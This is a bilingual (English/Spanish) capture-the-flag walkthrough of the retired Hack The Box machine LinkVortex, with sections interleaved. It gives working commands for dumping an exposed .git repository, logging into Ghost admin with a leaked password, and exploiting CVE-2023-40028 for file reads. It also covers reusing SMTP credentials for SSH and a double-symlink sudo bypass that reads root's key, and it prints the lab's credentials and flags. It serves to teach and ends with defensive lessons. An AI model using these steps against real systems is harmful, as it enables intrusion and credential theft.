LinkVortex
Executive summary — LinkVortex starts from an exposed .git repository on a development subdomain, which leaks a hardcoded admin password sitting inside a test file. That password unlocks a Ghost CMS admin session, which is used to exploit CVE-2023-40028 — a symlink smuggled inside an imported ZIP that the decompression routine never filters — to read arbitrary files off the box and recover plaintext SMTP credentials. Those credentials, reused as the SSH password for a system account, hand over user.txt; for root, a
sudoscript that "quarantines" symlinks falls to a double symlink because it only validates the first hop of the chain.
| Platform | Hack The Box |
| Operating system | Linux (Ubuntu 22.04) |
| Category | Web / Ghost CMS |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.231.194 |
Attack map
[80] linkvortex.htb — Ghost CMS 5.58 blog (the redirect reveals the vhost)
│ vhost dev.linkvortex.htb — "Launching Soon", with .git/ exposed and served
▼
[.git dump] credential leak — test password + config.production.json path
│ admin@linkvortex.htb / OctopiFociPilfer45 -> valid Ghost admin session
▼
[Ghost Admin] CVE-2023-40028 — ZIP import with a symlink, extract-zip doesn't filter it
│ arbitrary file read with the privileges of the Ghost process (node)
▼
[LFI] config.production.json -> SMTP credentials: bob@linkvortex.htb / fibber-talented-worth
│ same password reused as the SSH password for the system account bob
▼
[SSH] bob (user.txt)
│ sudo NOPASSWD /opt/ghost/clean_symlink.sh *.png — single-hop readlink filter
▼
[ROOT] double symlink (evil.png -> stage -> /root/root.txt) evades the filter,
the final cat resolves the whole chain
1. Reconnaissance
nmap -sV -sC --top-ports 50 -Pn -oN recon/nmap-top.txt 10.129.231.194
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 places the target on Ubuntu 22.04 LTS. The unfollowed redirect hands over the main vhost, linkvortex.htb, for free — no fuzzing needed.
echo "10.129.231.194 linkvortex.htb" | sudo tee -a /etc/hosts
A full nmap -p- confirms only two real open ports: the whole attack surface lives on port 80.
curl -s http://linkvortex.htb/ | grep -iE 'generator|X-Powered'
<meta name="generator" content="Ghost 5.58">
X-Powered-By: Express
A blog built on Ghost CMS 5.58 ("BitByBit Hardware") running on Node/Express behind Apache, with the admin panel reachable at /ghost (200). The version is the clue that matters: Ghost ≤ 5.59 carries CVE-2023-40028.
The server returns a catch-all response (200, same size) for any unrecognized Host, so finding real vhosts means comparing status code and size against that baseline, not trusting a bare 200:
for sub in dev devops git staging test admin blog api internal; do
r=$(curl -s -o /dev/null -w "%{http_code}:%{size_download}" -H "Host:$sub.linkvortex.htb" http://linkvortex.htb/)
echo "$sub.linkvortex.htb ->$r"
done
dev.linkvortex.htb -> 200:2538 <- different: real vhost
devops.linkvortex.htb -> 301:230
git.linkvortex.htb -> 301:230 (everything else redirects the same way)
Only
dev.linkvortex.htbanswers differently from the rest — a real vhost, not a catch-all false positive. Its landing page is a static "Launching Soon" screen with no apparent content. When a server answers identically to anyHost, running an uncalibratedffufgenerates hundreds of false positives; always diff against the baseline response before trusting the list.
Resumen ejecutivo — LinkVortex parte de un repositorio .git expuesto en un subdominio de desarrollo, de donde se filtra una contraseña de administrador hardcodeada en un fichero de test. Con esa sesión de administrador en Ghost CMS se explota CVE-2023-40028 — un symlink dentro de un ZIP importado que la función de descompresión no filtra — para leer ficheros arbitrarios del sistema y recuperar credenciales SMTP en claro. Esas credenciales, reutilizadas como contraseña SSH de la cuenta del sistema, dan el user.txt; para root, un script de
sudoque "pone en cuarentena" symlinks cae ante un doble enlace simbólico porque solo valida el primer salto de la cadena.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (Ubuntu 22.04) |
| Categoría | Web / Ghost CMS |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.231.194 |
Mapa del ataque
[80] linkvortex.htb — blog Ghost CMS 5.58 (la redirección revela el vhost)
│ vhost dev.linkvortex.htb — "Launching Soon", con .git/ expuesto y servido
▼
[.git dump] fuga de credencial — password de test + ruta de config.production.json
│ admin@linkvortex.htb / OctopiFociPilfer45 -> sesión de administrador Ghost
▼
[Ghost Admin] CVE-2023-40028 — import de ZIP con symlink, extract-zip no lo filtra
│ lectura arbitraria de ficheros con los privilegios del proceso Ghost (node)
▼
[LFI] config.production.json -> credenciales SMTP: bob@linkvortex.htb / fibber-talented-worth
│ misma contraseña reutilizada como password SSH de la cuenta de sistema bob
▼
[SSH] bob (user.txt)
│ sudo NOPASSWD /opt/ghost/clean_symlink.sh *.png — filtro readlink de un solo salto
▼
[ROOT] doble symlink (evil.png -> stage -> /root/root.txt) evade el filtro,
el cat final resuelve la cadena completa
1. Reconocimiento
nmap -sV -sC --top-ports 50 -Pn -oN recon/nmap-top.txt 10.129.231.194
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 sitúa el objetivo en Ubuntu 22.04 LTS. La propia redirección no seguida regala el vhost principal, linkvortex.htb, sin necesidad de fuzzing.
echo "10.129.231.194 linkvortex.htb" | sudo tee -a /etc/hosts
Un nmap -p- completo confirma que solo hay dos puertos reales abiertos: todo el vector de ataque está en el 80.
curl -s http://linkvortex.htb/ | grep -iE 'generator|X-Powered'
<meta name="generator" content="Ghost 5.58">
X-Powered-By: Express
Blog montado sobre Ghost CMS 5.58 ("BitByBit Hardware") corriendo sobre Node/Express detrás de Apache, con el panel de administración accesible en /ghost (200). La versión es la pista que importa: Ghost ≤ 5.59 arrastra CVE-2023-40028.
El servidor devuelve una respuesta comodín (200, mismo tamaño) para cualquier Host que no reconoce, así que localizar vhosts reales exige comparar código y tamaño contra ese comodín, no fiarse de un 200 a secas:
for sub in dev devops git staging test admin blog api internal; do
r=$(curl -s -o /dev/null -w "%{http_code}:%{size_download}" -H "Host:$sub.linkvortex.htb" http://linkvortex.htb/)
echo "$sub.linkvortex.htb ->$r"
done
dev.linkvortex.htb -> 200:2538 <- distinto: vhost real
devops.linkvortex.htb -> 301:230
git.linkvortex.htb -> 301:230 (todos los demás redirigen igual)
Solo
dev.linkvortex.htbresponde de forma distinta al resto — es un vhost real, no un falso positivo del comodín. Su portada es una "Launching Soon" estática, sin contenido aparente. Cuando el servidor responde igual a cualquierHost, lanzar unffufsin calibrar el filtro de tamaño produce cientos de falsos positivos; comparar siempre contra la respuesta base antes de confiar en la lista.
2. Credential leak via an exposed .git
The dev vhost was deployed with
git clone/pullrun directly in the docroot, leaving the.git/folder SERVED by the web server. Anyone can reconstruct the full repository history and pull out secrets that were never meant to leave the development box (CWE-527: Exposure of Version-Control Repository, CWE-540: Inclusion of Sensitive Information in Source Code).
curl -s -o /dev/null -w "%{http_code}\n" http://dev.linkvortex.htb/.git/HEAD # 200
curl -s http://dev.linkvortex.htb/.git/config
[remote "origin"]
url = https://github.com/TryGhost/Ghost.git
fetch = +refs/tags/v5.58.0:refs/tags/v5.58.0
Confirms exactly what's running in production: the official Ghost repo itself, at tag v5.58.0. With .git/ reachable, a full dump:
git-dumper http://dev.linkvortex.htb/.git loot/git-dump
cd loot/git-dump && git status
Changes to be committed:
new file: Dockerfile.ghost
modified: ghost/core/test/regression/api/admin/authentication.test.js
Two files differ from the official history — exactly where an attacker should look: local changes on top of an upstream repo are usually deployment-specific config or secrets.
git diff --cached | grep -iE '\+.*(password|COPY|config)'
+++ b/Dockerfile.ghost
+FROM ghost:5.58.0
+COPY config.production.json /var/lib/ghost/config.production.json <- exact config path
+++ b/ghost/core/test/regression/api/admin/authentication.test.js
+ const password = 'OctopiFociPilfer45';
Two gifts in the same diff: (1) a password hardcoded in a test file (
OctopiFociPilfer45, CWE-798: Use of Hard-coded Credentials) — it should never have been a real password to begin with, let alone shipped in a repo served in production; (2)Dockerfile.ghostreveals the exact path of the production config (/var/lib/ghost/config.production.json), which becomes the key detail in the next phase.
Password in hand, only a username is missing. The admin email is guessed from the domain itself (admin@linkvortex.htb), and Ghost's session API confirms the pair directly:
curl -s -o /dev/null -w "%{http_code}\n" -H "Content-Type: application/json" \
-H "Origin: http://linkvortex.htb" \
-d '{"username":"admin@linkvortex.htb","password":"OctopiFociPilfer45"}' \
http://linkvortex.htb/ghost/api/admin/session/
201 Created — a valid admin session: admin@linkvortex.htb / OctopiFociPilfer45.
3. Exploitation — CVE-2023-40028: arbitrary file read
Ghost lets an authenticated user import content from a ZIP file. Decompression relies on the
extract-ziplibrary, which doesn't reject symbolic links inside the archive. A ZIP can carry a symlink atcontent/images/<...>.pngpointing anywhere on the filesystem. After import, that link sits as-is inside Ghost's content directory, and when requested over HTTP the server follows the symlink and serves the target file with the privileges of the user running Ghost (CWE-59: Improper Link Resolution Before File Access, CWE-22: Path Traversal). Affects Ghost < 5.59.1 — matching the 5.58 build seen during recon.
Exploit anatomy, in four steps:
- Login —
POST /ghost/api/v3/admin/session/with the credentials leaked from.git-> session cookie (201). - Local ZIP —
content/images/2024/<rnd>.pngis placed inside as a symlink pointing at the target file, packaged withzip -y(the flag that preserves symlinks instead of resolving them while zipping). - Import —
POST /ghost/api/v3/admin/dbwith the headersX-Ghost-Version: 5.58andX-Requested-With: XMLHttpRequest, and the ZIP in theimportfilefield. - Read —
GET /content/images/2024/<rnd>.png: Ghost follows the link and returns the real content of the target file.
PoC against /etc/passwd:
root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash <- Ghost runs as 'node'
With the primitive confirmed, the real prize is the path revealed by Dockerfile.ghost in the previous phase:
"mail": {
"transport": "SMTP",
"options": {
"host": "linkvortex.htb", "port": 587,
"auth": { "user": "bob@linkvortex.htb", "pass": "fibber-talented-worth" }
}
}
Plaintext SMTP credentials: bob@linkvortex.htb / fibber-talented-worth.
4. Foothold — SSH as bob (user.txt)
The mail password is tried directly as the SSH password for the system user bob — and it works:
sshpass -p 'fibber-talented-worth' ssh -o StrictHostKeyChecking=no bob@linkvortex.htb 'id; cat ~/user.txt'
uid=1001(bob) gid=1001(bob) groups=1001(bob)
369817e97ded02163c9ce72949d22310
The same password serves both the SMTP mailbox and the system account — credential reuse between services (CWE-521: Weak Password Requirements, CWE-522: Insufficiently Protected Credentials).
user.txt: 369817e97ded02163c9ce72949d22310
5. Privilege escalation — double symlink in a sudo script
sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=..., use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Three crucial details in that output:
NOPASSWDonclean_symlink.sh, restricted to an argument ending in.png.env_keep+=CHECK_CONTENT— an environment variable the user controls survives execution undersudoinstead of being reset.use_pty—sudorequires a pseudo-terminal; over SSH that means forcingssh -tt.
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=false; fi
LINK=$1
if ![[ "$LINK" =~ \.png$ ]]; then echo "! First argument must be a png file !"; exit 2; fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
echo "! Trying to read critical files, removing link !"; /usr/bin/unlink $LINK
else
echo "Link found, moving it to quarantine"; /usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then echo "Content:"; /usr/bin/cat $QUAR_DIR/$LINK_NAME; fi
fi
fi
The script "quarantines" symlinks and, when
CHECK_CONTENTis set, prints their content as root. The only defense against reading sensitive files is agrep -E '(etc|root)'over the output ofreadlink $LINK. The flaw:readlinkwithout-freturns only the immediate target — a single hop of the chain. If the.pngpoints at an innocuously-named intermediate link, that first hop sails through the filter — but the finalcatresolves the entire chain down to the real file, bypassing the very link the filter had checked (CWE-59, CWE-73: External Control of File Name or Path, and CWE-15: External Control of System or Configuration Setting for theCHECK_CONTENTvariable being controllable viaenv_keep).
Double-symlink payload: evil.png -> /home/bob/stage -> <target>. readlink only ever sees stage (no etc or root in it, passes the filter); the final cat reaches the real file by following the second hop.
ln -s "$TARGET" /home/bob/stage # first hop (hidden from the filter)
ln -s /home/bob/stage /home/bob/evil.png # the visible .png
export CHECK_CONTENT=true # survives sudo (env_keep)
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/evil.png
Run over SSH forcing a pseudo-terminal (required by use_pty):
ssh -tt bob@linkvortex.htb './rs.sh /root/root.txt'
Link found [ /home/bob/evil.png ] , moving it to quarantine
Content:
7b7e226d30e10d26ff43bd9a36b0c466
root.txt: 7b7e226d30e10d26ff43bd9a36b0c466
The same primitive, pointed at root's private key, gives a persistent shell without depending on the sudo window:
ssh -tt bob@linkvortex.htb './rs.sh /root/.ssh/id_rsa' > loot/root_id_rsa
chmod 600 loot/root_id_rsa
ssh -i loot/root_id_rsa root@linkvortex.htb 'id; hostname'
uid=0(root) gid=0(root) groups=0(root) · linkvortex
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Credential leak | dev.linkvortex.htb/.git/ | Git repository served in production (CWE-527/CWE-540) with a password hardcoded in a test (CWE-798) | Valid Ghost admin credentials |
| Exploitation | Ghost CMS 5.58 — content import | CVE-2023-40028 — symlink in an imported ZIP not filtered by extract-zip (CWE-59/CWE-22) | Arbitrary file read as node -> plaintext SMTP credentials |
| Lateral movement | SSH / system account bob | SMTP password reused as the SSH password (CWE-521/CWE-522) | Access as bob (user.txt) |
| PrivEsc | /opt/ghost/clean_symlink.sh (sudo NOPASSWD) | Single-hop readlink filter vs. full chain resolution in cat; CHECK_CONTENT controllable via env_keep (CWE-59/CWE-73/CWE-15) | Root via double symlink (root.txt + root's SSH key) |
Lessons learned
- Never deploy with
git clone/pullstraight into the docroot: usegit archive, a CI/CD-built artifact, orrsync --exclude='.git'. And block web access to any.gitpath at the Apache/Nginx level, just in case. - Never real credentials in tests or source code: secrets belong outside the repository (secrets manager, env vars), and the history should be scanned with tools like
gitleaksortrufflehogbefore every release. - Keep Ghost updated to >= 5.59.1 and run it with least privilege; the
content/directory should live on a filesystem or configuration that rejects symlinks pointing outside its own tree. - Unique passwords per service — a compromised SMTP mailbox should never translate into SSH access — and SSH authentication by public key only, never by password.
- A sudo-privileged script that validates symlinks must resolve the full chain before deciding (
realpath -e), not just the first hop viareadlink; and it should never trust environment variables preserved from the caller (env_keep) while running as root.
2. Fuga de credenciales vía .git expuesto
El vhost de desarrollo se desplegó haciendo
git clone/pulldirectamente en el docroot, dejando la carpeta.git/SERVIDA por el servidor web. Cualquiera puede reconstruir el histórico completo del repositorio y recuperar secretos que nunca debieron salir de la máquina de desarrollo (CWE-527: Exposure of Version-Control Repository, CWE-540: Inclusion of Sensitive Information in Source Code).
curl -s -o /dev/null -w "%{http_code}\n" http://dev.linkvortex.htb/.git/HEAD # 200
curl -s http://dev.linkvortex.htb/.git/config
[remote "origin"]
url = https://github.com/TryGhost/Ghost.git
fetch = +refs/tags/v5.58.0:refs/tags/v5.58.0
Confirma qué es exactamente lo que corre en producción: el propio repo oficial de Ghost, en el tag v5.58.0. Con el .git/ accesible, un volcado completo:
git-dumper http://dev.linkvortex.htb/.git loot/git-dump
cd loot/git-dump && git status
Changes to be committed:
new file: Dockerfile.ghost
modified: ghost/core/test/regression/api/admin/authentication.test.js
Dos ficheros modificados respecto al histórico oficial — justo donde busca un atacante: cambios locales sobre el repo upstream suelen ser configuración o secretos propios del despliegue.
git diff --cached | grep -iE '\+.*(password|COPY|config)'
+++ b/Dockerfile.ghost
+FROM ghost:5.58.0
+COPY config.production.json /var/lib/ghost/config.production.json <- ubicación de la config
+++ b/ghost/core/test/regression/api/admin/authentication.test.js
+ const password = 'OctopiFociPilfer45';
Dos regalos en un mismo diff: (1) una contraseña hardcodeada en un fichero de test (
OctopiFociPilfer45, CWE-798: Use of Hard-coded Credentials) — nunca debería llegar a un test real, y mucho menos a un repositorio servido en producción; (2) elDockerfile.ghostrevela la ruta exacta de la configuración de producción (/var/lib/ghost/config.production.json), dato que se vuelve clave en la siguiente fase.
Con contraseña en mano solo falta un usuario. El email de administrador se deduce del propio dominio (admin@linkvortex.htb) y la API de sesión de Ghost confirma la pareja directamente:
curl -s -o /dev/null -w "%{http_code}\n" -H "Content-Type: application/json" \
-H "Origin: http://linkvortex.htb" \
-d '{"username":"admin@linkvortex.htb","password":"OctopiFociPilfer45"}' \
http://linkvortex.htb/ghost/api/admin/session/
201 Created — sesión de administrador válida: admin@linkvortex.htb / OctopiFociPilfer45.
3. Explotación — CVE-2023-40028: lectura arbitraria de ficheros
Ghost permite a un usuario autenticado importar contenido desde un ZIP. La descompresión usa la librería
extract-zip, que no rechaza enlaces simbólicos dentro del archivo. Un ZIP puede llevar un symlink encontent/images/<...>.pngapuntando a cualquier ruta del sistema de ficheros. Tras la importación, ese enlace queda tal cual en el directorio de contenido de Ghost y, al pedirlo por HTTP, el servidor sigue el symlink y sirve el fichero apuntado con los privilegios del usuario que ejecuta Ghost (CWE-59: Improper Link Resolution Before File Access, CWE-22: Path Traversal). Afecta a Ghost < 5.59.1 — encaja con la versión 5.58 vista en el reconocimiento.
Anatomía del exploit, en cuatro pasos:
- Login —
POST /ghost/api/v3/admin/session/con las credenciales filtradas del.git-> cookie de sesión (201). - ZIP local — dentro de
content/images/2024/<rnd>.pngse coloca un symlink apuntando al fichero objetivo, empaquetado conzip -y(la opción que preserva symlinks en lugar de resolverlos al comprimir). - Import —
POST /ghost/api/v3/admin/dbcon las cabecerasX-Ghost-Version: 5.58yX-Requested-With: XMLHttpRequest, y el ZIP en el campoimportfile. - Lectura —
GET /content/images/2024/<rnd>.png: Ghost sigue el enlace y devuelve el contenido real del fichero apuntado.
PoC contra /etc/passwd:
root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash <- Ghost corre como 'node'
Con la primitiva confirmada, el botín real es la ruta que reveló el Dockerfile.ghost en la fase anterior:
"mail": {
"transport": "SMTP",
"options": {
"host": "linkvortex.htb", "port": 587,
"auth": { "user": "bob@linkvortex.htb", "pass": "fibber-talented-worth" }
}
}
Credenciales SMTP en claro: bob@linkvortex.htb / fibber-talented-worth.
4. Foothold — SSH como bob (user.txt)
La contraseña de correo se prueba directamente como contraseña SSH del usuario del sistema bob — y funciona:
sshpass -p 'fibber-talented-worth' ssh -o StrictHostKeyChecking=no bob@linkvortex.htb 'id; cat ~/user.txt'
uid=1001(bob) gid=1001(bob) groups=1001(bob)
369817e97ded02163c9ce72949d22310
La misma contraseña sirve para el buzón SMTP y para la cuenta de sistema — reutilización de credenciales entre servicios (CWE-521: Weak Password Requirements, CWE-522: Insufficiently Protected Credentials).
user.txt: 369817e97ded02163c9ce72949d22310
5. Escalada a root — doble enlace simbólico en un script sudo
sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=..., use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Tres detalles cruciales en esa salida:
NOPASSWDsobreclean_symlink.sh, restringido a un argumento que termine en.png.env_keep+=CHECK_CONTENT— una variable de entorno controlada por el propio usuario sobrevive a la ejecución bajosudoen lugar de resetearse.use_pty—sudoexige un pseudo-terminal; por SSH hay que forzarlo conssh -tt.
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=false; fi
LINK=$1
if ![[ "$LINK" =~ \.png$ ]]; then echo "! First argument must be a png file !"; exit 2; fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
echo "! Trying to read critical files, removing link !"; /usr/bin/unlink $LINK
else
echo "Link found, moving it to quarantine"; /usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then echo "Content:"; /usr/bin/cat $QUAR_DIR/$LINK_NAME; fi
fi
fi
El script pone en "cuarentena" symlinks y, si
CHECK_CONTENTestá activo, muestra su contenido como root. La única protección contra la lectura de ficheros sensibles es ungrep -E '(etc|root)'sobre la salida dereadlink $LINK. El fallo:readlinksin-fdevuelve solo el destino inmediato (un único salto de la cadena). Si el.pngapunta a un enlace intermedio con nombre inocuo, ese primer salto pasa el filtro sin problema — pero elcatfinal resuelve la cadena completa hasta el fichero real, saltándose el enlace intermedio que el filtro sí había validado (CWE-59, CWE-73: External Control of File Name or Path, y CWE-15: External Control of System or Configuration Setting por elCHECK_CONTENTcontrolable víaenv_keep).
Payload de doble symlink: evil.png -> /home/bob/stage -> <objetivo>. readlink ve únicamente stage (no contiene ni etc ni root, pasa el filtro); el cat final alcanza el fichero real siguiendo el segundo salto.
ln -s "$OBJETIVO" /home/bob/stage # primer salto (oculto al filtro)
ln -s /home/bob/stage /home/bob/evil.png # el .png visible
export CHECK_CONTENT=true # sobrevive a sudo (env_keep)
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/evil.png
Ejecución vía SSH forzando pseudo-terminal (obligatorio por use_pty):
ssh -tt bob@linkvortex.htb './rs.sh /root/root.txt'
Link found [ /home/bob/evil.png ] , moving it to quarantine
Content:
7b7e226d30e10d26ff43bd9a36b0c466
root.txt: 7b7e226d30e10d26ff43bd9a36b0c466
La misma primitiva, apuntada a la clave privada de root, da una shell persistente sin depender de la ventana de sudo:
ssh -tt bob@linkvortex.htb './rs.sh /root/.ssh/id_rsa' > loot/root_id_rsa
chmod 600 loot/root_id_rsa
ssh -i loot/root_id_rsa root@linkvortex.htb 'id; hostname'
uid=0(root) gid=0(root) groups=0(root) · linkvortex
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Fuga de credenciales | dev.linkvortex.htb/.git/ | Repositorio git servido en producción (CWE-527/CWE-540) con contraseña hardcodeada en un test (CWE-798) | Credenciales válidas de administrador de Ghost |
| Explotación | Ghost CMS 5.58 — import de contenido | CVE-2023-40028 — symlink en ZIP importado no filtrado por extract-zip (CWE-59/CWE-22) | Lectura arbitraria de ficheros como node -> credenciales SMTP en claro |
| Movimiento lateral | SSH / cuenta del sistema bob | Contraseña SMTP reutilizada como contraseña SSH (CWE-521/CWE-522) | Acceso como bob (user.txt) |
| PrivEsc | /opt/ghost/clean_symlink.sh (sudo NOPASSWD) | Filtro de un solo salto (readlink) contra resolución completa de la cadena en cat; CHECK_CONTENT controlable vía env_keep (CWE-59/CWE-73/CWE-15) | Root vía doble symlink (root.txt + clave SSH de root) |
Lecciones aprendidas
- No desplegar haciendo
git clone/pulldirectamente en el docroot: usargit archive, un artefacto generado en CI/CD, orsync --exclude='.git'. Y bloquear en Apache/Nginx cualquier acceso web a rutas.git, por si acaso. - Nunca credenciales reales en tests o código fuente: los secretos van fuera del repositorio (gestor de secretos, variables de entorno) y el historial se escanea con herramientas como
gitleaksotrufflehogantes de cada release. - Mantener Ghost actualizado a >= 5.59.1 y ejecutarlo con los mínimos privilegios necesarios; el directorio
content/debería vivir en un filesystem o configuración que rechace symlinks apuntando fuera de su propio árbol. - Contraseñas únicas por servicio — un SMTP comprometido nunca debería traducirse en acceso SSH — y autenticación SSH solo por clave pública, nunca por contraseña.
- Un script con privilegios de
sudoque valida symlinks debe resolver la cadena completa antes de decidir (realpath -e), no solo el primer salto conreadlink; y nunca confiar en variables de entorno conservadas del invocador (env_keep) dentro de un script que corre como root.